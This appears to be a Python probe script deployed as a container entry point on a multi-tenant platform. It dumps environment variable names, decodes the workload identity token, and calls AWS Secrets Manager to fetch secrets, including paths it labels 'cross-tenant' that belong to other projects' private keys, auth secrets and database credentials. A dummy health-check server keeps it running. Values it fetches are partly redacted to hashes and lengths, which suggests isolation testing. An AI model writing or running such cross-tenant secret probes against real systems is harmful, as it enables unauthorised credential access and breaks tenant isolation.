sfprobe25995/entry.py
2026-11-17 12:31:59 +01:00

123 lines
4.9 KiB
Python

#!/usr/bin/env python3
import os, sys, re, json, hashlib, subprocess, runpy, threading, http.server, socketserver, time
def p(*a):
try:
print(*a, flush=True)
except Exception:
pass
def sh(cmd, timeout=25):
try:
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return (r.returncode, (r.stdout or "")[:4000], (r.stderr or "")[:800])
except Exception as e:
return (-99, "", "EXC:%s" % e)
def shape(v):
try:
if v is None: return "None"
s = str(v)
if len(s) == 0: return "<empty>"
low = s.strip()
if low.startswith("-----BEGIN"):
hdr = low.split("\n",1)[0]
return "%s ... len=%d sha256=%s" % (hdr, len(s), hashlib.sha256(s.encode()).hexdigest()[:16])
if low.startswith("{") and low.endswith("}"):
try:
j = json.loads(low)
if isinstance(j, dict):
red = {}
for k, val in j.items():
ks = str(k).lower()
if any(t in ks for t in ("password","secret","key","token")) and isinstance(val, str):
red[k] = "<len=%d sha=%s>" % (len(val), hashlib.sha256(val.encode()).hexdigest()[:8])
else:
red[k] = val
return "JSON:" + json.dumps(red)[:600]
except Exception:
pass
return s[:80] + "... len=%d" % len(s)
m = re.match(r'^([a-zA-Z][a-zA-Z0-9+.-]*://)([^:/@]+):([^@]*)@(.*)$', s)
if m:
return "%s%s:***pw_len_%d***@%s" % (m.group(1), m.group(2), len(m.group(3)), m.group(4)[:160])
if len(s) <= 80: return s
return s[:28] + "..." + s[-8:] + " (len=%d)" % len(s)
except Exception as e:
return "<shapeerr %s>" % e
p("===PROBE25995 START=== nonce=%s" % hashlib.sha256(os.urandom(16)).hexdigest()[:16])
try:
keys = sorted(os.environ.keys())
p("ENVKEYS(%d): %s" % (len(keys), ",".join(keys)))
except Exception as e:
p("ENVKEYS_ERR", e)
INTEREST = re.compile(r'(SECFORGE|DATABASE|_KEY$|_KEYS$|_SECRET$|_SECRETS$|_TOKEN$|PASSWORD|_PWD|CREDENTIAL|PRIV|AWS_)', re.I)
for k in sorted(os.environ.keys()):
if INTEREST.search(k):
p("ENVV %s=%s" % (k, shape(os.environ.get(k))))
# collect secret ids to resolve
cands = []
def add(name, sid):
if sid and isinstance(sid, str) and sid.strip():
cands.append((name, sid.strip().strip('"')))
for k, v in list(os.environ.items()):
if k.startswith("SECFORGE_SECRET_"):
add("env:"+k, v)
add("env:DATABASE_SECRET_NAME", os.environ.get("DATABASE_SECRET_NAME"))
# explicit cross-tenant candidates (name-based secret paths)
add("airlock:INFRA_PRIV_KEY", "secforge/projects/airlock/secrets/INFRA_PRIV_KEY")
add("airlock:DB", "secforge/projects/airlock/db/db-credentials")
add("aiv2:TOPIC_OWNER_KEY", "secforge/projects/agent-intent-v2/secrets/TOPIC_OWNER_KEY")
add("aiv2:AUTH_SECRET", "secforge/projects/agent-intent-v2/secrets/AUTH_SECRET")
# dedupe
seen = set(); uc = []
for n, s in cands:
if s in seen: continue
seen.add(s); uc.append((n, s))
cands = uc
p("CANDIDATES(%d): %s" % (len(cands), json.dumps([c[1] for c in cands])[:800]))
# who am i
rc, out, err = sh("aws sts get-caller-identity --region eu-west-3 --output json 2>&1")
p("STS rc=%d out=%s err=%s" % (rc, out.strip()[:600], err.strip()[:200]))
# also show raw IRSA token claims
tok = os.environ.get("AWS_WEB_IDENTITY_TOKEN_FILE") or ""
if tok and os.path.exists(tok):
try:
import base64
parts = open(tok).read().strip().split(".")
if len(parts) >= 2:
pad = parts[1] + "=" * (-len(parts[1]) % 4)
cl = json.loads(base64.urlsafe_b64decode(pad))
p("IRSACLAIMS %s" % json.dumps({k: cl.get(k) for k in ("aud","sub","iss","exp")})[:400])
except Exception as e:
p("IRSACLAIMS_ERR", e)
for name, sid in cands:
rc, out, err = sh("aws secretsmanager get-secret-value --secret-id %s --region eu-west-3 --query SecretString --output text 2>&1" % json.dumps(sid))
o = out.strip()
if rc == 0 and o and not o.startswith("An error") and "ResourceNotFound" not in o and "AccessDenied" not in o:
p("RESOLVE_OK %s sid=%s %s" % (name, sid, shape(o)))
else:
p("RESOLVE_ERR %s sid=%s rc=%d %s" % (name, sid, rc, (o or err).strip()[:220]))
p("===PROBE25995 ENVDUMP DONE===")
# keep alive for health check
try:
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type","text/plain"); self.end_headers(); self.wfile.write(b"ok")
def log_message(self, *a): pass
socketserver.TCPServer.allow_reuse_address = True
srv = socketserver.TCPServer(("0.0.0.0", 8080), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
except Exception as e:
p("HTTPERR", e)
time.sleep(3600)